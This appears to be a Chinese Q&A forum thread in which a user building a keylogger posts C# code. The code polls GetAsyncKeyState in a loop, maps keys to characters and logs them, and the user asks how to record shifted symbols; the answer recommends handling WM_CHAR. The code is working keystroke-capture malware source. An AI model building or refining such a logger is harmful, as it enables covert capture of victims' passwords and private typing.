【问题标题】:Capture special keys chars捕获特殊键字符
【发布时间】:2017-06-26 10:51:30
【问题描述】:

我正在做一个键盘记录器,我使用GetAsyncKeyState 处理活动键。

Keys lastKey = 0;
while (true)
{
    Boolean shiftKey;
    Boolean capsLock;
    String text = "";
    Thread.Sleep(captureTime);
    for (int i = 0; i< 1000; i++)
    {
        int keyState = GetAsyncKeyState(i);
        if (keyState == 1 || keyState == -32767)
        {
            shiftKey = Convert.ToBoolean(GetAsyncKeyState((int) Keys.ShiftKey));
            capsLock = Convert.ToBoolean(GetAsyncKeyState((int) Keys.CapsLock));
            text = processKey((Keys) i, shiftKey, capsLock);

            if (checkNewLine(lastKey, (Keys) i))
            {
                saveLog(text);
            }
            lastKey = (Keys) i;
        }
    }
}

键处理函数processKey,根据键类型处理键,但我不知道如何处理特殊键如“¿?:;!·$%&”需要shift或其他需要alt的特殊字符比如“@#”。

我想写特殊字符而不是单独字符的组合,例如,如果我按 shift+0,控制台应该输出“=”,但在我的情况下,控制台会分开写“[SHIFT]”“0”。

还有processKey函数(unicode):

switch(key)
{

    case Keys.Back:
    case Keys.ShiftKey:
        text = "["+key.ToString()+"]";
        break;
    case Keys.Enter:
        text = Environment.NewLine;
        break;
    case Keys.Space:
        text = " ";
        break;
    case Keys.Tab:
        text = "\t";
        break;
    default:
        IntPtr windowHandle = GetForegroundWindow();
        uint processId;
        uint threadId = GetWindowThreadProcessId(windowHandle, out processId);
        byte[] kState = new byte[256];
        GetKeyboardState(kState);
        uint layout = GetKeyboardLayout(threadId);
        StringBuilder keyName = new StringBuilder();
        ToUnicodeEx((uint)key, (uint)key, kState, keyName, 16, 0, layout);
        text = keyName.ToString();
        if((int)key >=65 && (int)key <= 90)
        {
            text = (!shiftKey && capsLock || shiftKey && !capsLock ? Convert.ToChar(key).ToString()
            : Convert.ToChar(key).ToString().ToLower());
        }

        break;
}
return text;

【问题讨论】:

  • 当你必须处理 dead keys 时,它开始变得非常复杂 - 阅读整个系列会对你有很大帮助。

标签: c# .net keylogger


【解决方案1】:

你混淆了两个概念。

  1. GetAsyncKeyState 返回虚拟 KEY 的状态,换句话说,它会告诉您是否按下(或未按下)键盘上的键。
  2. 当你说你想处理$或%时,那些不是键,那些是输入字符。 Windows 将为您创建这些,但您需要处理 WM_CHAR 消息。作为奖励,这也将处理 unicode。

您可能应该使用 2 方法。

另外:你不应该使用 while(1) { ... sleep() ... } 循环样式。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2016-02-18
    • 1970-01-01
    • 1970-01-01
    • 2021-03-04
    • 1970-01-01
    • 2022-10-14
    • 2018-04-17
    • 1970-01-01
    相关资源
    最近更新 更多